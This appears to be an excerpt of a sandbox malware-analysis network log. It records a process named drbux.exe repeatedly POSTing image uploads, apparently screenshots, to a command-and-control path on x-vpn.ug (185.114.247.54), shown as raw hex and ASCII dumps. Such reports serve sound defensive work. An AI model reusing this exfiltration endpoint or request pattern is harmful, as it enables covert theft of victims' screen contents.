Jul 19, 2021 18:35:47.649651051 CEST	5185	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:47.650023937 CEST	5189	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:47.650213957 CEST	5192	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49785	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:48.127896070 CEST	5305	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:48.128139973 CEST	5305	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:48.128386021 CEST	5315	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:48.128549099 CEST	5318	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:48.207367897 CEST	5319	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:48.208342075 CEST	5324	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:48.208538055 CEST	5327	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:48.209045887 CEST	5332	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:48.209585905 CEST	5338	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:48.210108995 CEST	5342	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:48.213515997 CEST	5344	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:48.287930012 CEST	5360	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49787	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:48.590753078 CEST	5454	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:48.590982914 CEST	5455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:48.591403008 CEST	5465	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:48.591706038 CEST	5467	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:48.672682047 CEST	5521	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:48.672728062 CEST	5522	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:48.673059940 CEST	5525	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:48.673224926 CEST	5528	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:48.752142906 CEST	5544	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:48.752376080 CEST	5554	OUT	Data Raw: 47 0c 9b b3 fe b4 bf fc 0f bc e4 2e 34 bd 46 ce e2 68 2e b4 fb b8 26 86 31 2c b1 cb 03 2b 46 84 81 b9 81 19 03 24 0c 9f 51 50 18 a5 fb 3a dc 18 a4 10 33 94 59 76 9d a5 80 04 80 7a 64 02 0e 3d c5 76 b6 d2 db b6 9d 73 73 f6 7b a9 bc 3c be 1b 68 ed Data Ascii: G.4Fh.&1,+F$QP:3Yvzd=vss{<hTN~.2#P#i\Yn7+3+:qb[^:Z;R9GiHC!N"KbNP(4Cp(SE<UbSB)F(h&usINi1MH7a\iZ;
Jul 19, 2021 18:35:48.752643108 CEST	5568	OUT	Data Raw: 0d b6 20 4a 70 4a 69 b9 88 7f 15 27 db 63 1d 39 a7 74 2e 59 be 84 c1 29 42 55 63 7c bd 85 37 ed a4 f4 14 5c 3d 9c cb db 71 4a 05 67 fd ae 4f 5a 4f b4 48 7f 88 d2 b8 bd 8c 8d 3e 05 2e e5 1d c5 65 79 ae 7b 9a 03 1f 5a 03 d8 9a 9e 6a 7a 8a 4f 3d 07 Data Ascii: JpJi'c9t.Y)BUc\|7\=qJgOZOH>.ey{ZjzO=zN{$^JQ?Q//y5jg>h}>z3ZaCwg/FEf=iSURrE19i(7v,%ry&~~hC^TkW$>O
Jul 19, 2021 18:35:48.932111979 CEST	5592	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49790	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:49.423995018 CEST	5603	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:49.424288034 CEST	5604	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:49.424741983 CEST	5614	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:49.425075054 CEST	5616	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:49.507909060 CEST	5634	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:49.507961988 CEST	5636	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:49.508873940 CEST	5645	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:49.509438992 CEST	5647	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:49.509749889 CEST	5651	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:49.509988070 CEST	5654	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:49.510222912 CEST	5657	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:49.766074896 CEST	5727	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	49792	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:50.073255062 CEST	5737	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0545694ecc0f09eecd2eefdc0f03559a Host: x-vpn.ug Content-Length: 96777 Cache-Control: no-cache
Jul 19, 2021 18:35:50.073348999 CEST	5737	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 35 34 35 36 39 34 65 63 63 30 66 30 39 65 65 63 64 32 65 65 66 64 63 30 66 30 33 35 35 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0545694ecc0f09eecd2eefdc0f03559aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:50.073532104 CEST	5747	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:50.073661089 CEST	5750	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:50.168303013 CEST	5753	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:50.168957949 CEST	5756	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:50.169158936 CEST	5759	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
